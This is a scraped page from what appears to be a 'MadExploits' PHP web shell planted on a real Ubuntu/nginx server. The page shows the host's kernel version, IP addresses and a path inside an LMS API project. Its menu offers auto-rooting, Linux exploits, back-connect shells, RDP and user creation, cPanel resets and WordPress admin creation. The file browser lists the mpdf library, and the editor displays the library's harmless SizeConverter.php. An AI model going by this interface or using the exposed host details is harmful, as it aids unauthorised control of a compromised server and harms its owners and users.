Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.52
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
vendor /
mpdf /
mpdf /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Barcode
[ DIR ]
drwxrwxr-x
Color
[ DIR ]
drwxrwxr-x
Config
[ DIR ]
drwxrwxr-x
Container
[ DIR ]
drwxrwxr-x
Conversion
[ DIR ]
drwxrwxr-x
Css
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
File
[ DIR ]
drwxrwxr-x
Fonts
[ DIR ]
drwxrwxr-x
Gif
[ DIR ]
drwxrwxr-x
Http
[ DIR ]
drwxrwxr-x
Image
[ DIR ]
drwxrwxr-x
Language
[ DIR ]
drwxrwxr-x
Log
[ DIR ]
drwxrwxr-x
Output
[ DIR ]
drwxrwxr-x
Pdf
[ DIR ]
drwxrwxr-x
Shaper
[ DIR ]
drwxrwxr-x
Tag
[ DIR ]
drwxrwxr-x
Utils
[ DIR ]
drwxrwxr-x
Writer
[ DIR ]
drwxrwxr-x
AssetFetcher.php
3.54
KB
-rw-rw-r--
Barcode.php
5.92
KB
-rw-rw-r--
Cache.php
2.32
KB
-rw-rw-r--
CssManager.php
76.41
KB
-rw-rw-r--
DirectWrite.php
14.58
KB
-rw-rw-r--
Form.php
67.39
KB
-rw-rw-r--
FpdiTrait.php
11.59
KB
-rw-rw-r--
Gradient.php
34.06
KB
-rw-rw-r--
HTMLParserMode.php
731
B
-rw-rw-r--
Hyphenator.php
4.97
KB
-rw-rw-r--
Mpdf.php
938.82
KB
-rw-rw-r--
MpdfException.php
73
B
-rw-rw-r--
MpdfImageException.php
82
B
-rw-rw-r--
Otl.php
248.46
KB
-rw-rw-r--
OtlDump.php
163.1
KB
-rw-rw-r--
PageBox.php
1.02
KB
-rw-rw-r--
PageFormat.php
2.33
KB
-rw-rw-r--
ServiceFactory.php
5.79
KB
-rw-rw-r--
SizeConverter.php
3.31
KB
-rw-rw-r--
Strict.php
1.5
KB
-rw-rw-r--
TTFontFile.php
169.31
KB
-rw-rw-r--
TTFontFileAnalysis.php
14.22
KB
-rw-rw-r--
TableOfContents.php
32.67
KB
-rw-rw-r--
Tag.php
7.23
KB
-rw-rw-r--
Ucdn.php
128.86
KB
-rw-rw-r--
Watermark.php
49
B
-rw-rw-r--
WatermarkImage.php
1.17
KB
-rw-rw-r--
WatermarkText.php
887
B
-rw-rw-r--
functions-dev.php
165
B
-rw-rw-r--
functions.php
521
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SizeConverter.php
<?php namespace Mpdf; use Psr\Log\LoggerInterface; use Mpdf\Log\Context as LogContext; use Mpdf\PsrLogAwareTrait\PsrLogAwareTrait; class SizeConverter implements \Psr\Log\LoggerAwareInterface { use PsrLogAwareTrait; private $dpi; private $defaultFontSize; /** * @var \Mpdf\Mpdf */ private $mpdf; public function __construct($dpi, $defaultFontSize, Mpdf $mpdf, LoggerInterface $logger) { $this->dpi = $dpi; $this->defaultFontSize = $defaultFontSize; $this->mpdf = $mpdf; $this->logger = $logger; } /** * Depends of maxsize value to make % work properly. Usually maxsize == pagewidth * For text $maxsize = $fontsize * Setting e.g. margin % will use maxsize (pagewidth) and em will use fontsize * * @param mixed $size * @param mixed $maxsize * @param mixed $fontsize * @param mixed $usefontsize Set false for e.g. margins - will ignore fontsize for % values * * @return float Final size in mm */ public function convert($size = 5, $maxsize = 0, $fontsize = false, $usefontsize = true) { $size = trim(strtolower($size)); $res = preg_match('/^(?P<size>[-0-9.,]+([eE]\-?[0-9]+)?)?(?P<unit>[%a-z-]+)?$/', $size, $parts); if (!$res) { // ignore definition $this->logger->warning(sprintf('Invalid size representation "%s"', $size), ['context' => LogContext::CSS_SIZE_CONVERSION]); } $unit = !empty($parts['unit']) ? $parts['unit'] : null; $size = !empty($parts['size']) ? (float) $parts['size'] : 0.0; switch ($unit) { case 'mm': // do nothing break; case 'cm': $size *= 10; break; case 'pt': $size *= 1 / Mpdf::SCALE; break; case 'rem': $size *= $this->mpdf->default_font_size / Mpdf::SCALE; break; case '%': if ($fontsize && $usefontsize) { $size *= $fontsize / 100; } else { $size *= $maxsize / 100; } break; case 'in': // mm in an inch $size *= 25.4; break; case 'pc': // PostScript picas $size *= 38.1 / 9; break; case 'ex': // Approximates "ex" as half of font height $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.5); break; case 'em': $size *= $this->multiplyFontSize($fontsize, $maxsize, 1); break; case 'thin': $size = 1 * (25.4 / $this->dpi); break; case 'medium': $size = 3 * (25.4 / $this->dpi); // Commented-out dead code from legacy method // $size *= $this->multiplyFontSize($fontsize, $maxsize, 1); break; case 'thick': $size = 5 * (25.4 / $this->dpi); // 5 pixel width for table borders break; case 'xx-small': $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.7); break; case 'x-small': $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.77); break; case 'small': $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.86); break; case 'large': $size *= $this->multiplyFontSize($fontsize, $maxsize, 1.2); break; case 'x-large': $size *= $this->multiplyFontSize($fontsize, $maxsize, 1.5); break; case 'xx-large': $size *= $this->multiplyFontSize($fontsize, $maxsize, 2); break; case 'px': default: $size *= (25.4 / $this->dpi); break; } return $size; } private function multiplyFontSize($fontsize, $maxsize, $ratio) { if ($fontsize) { return $fontsize * $ratio; } return $maxsize * $ratio; } }
Close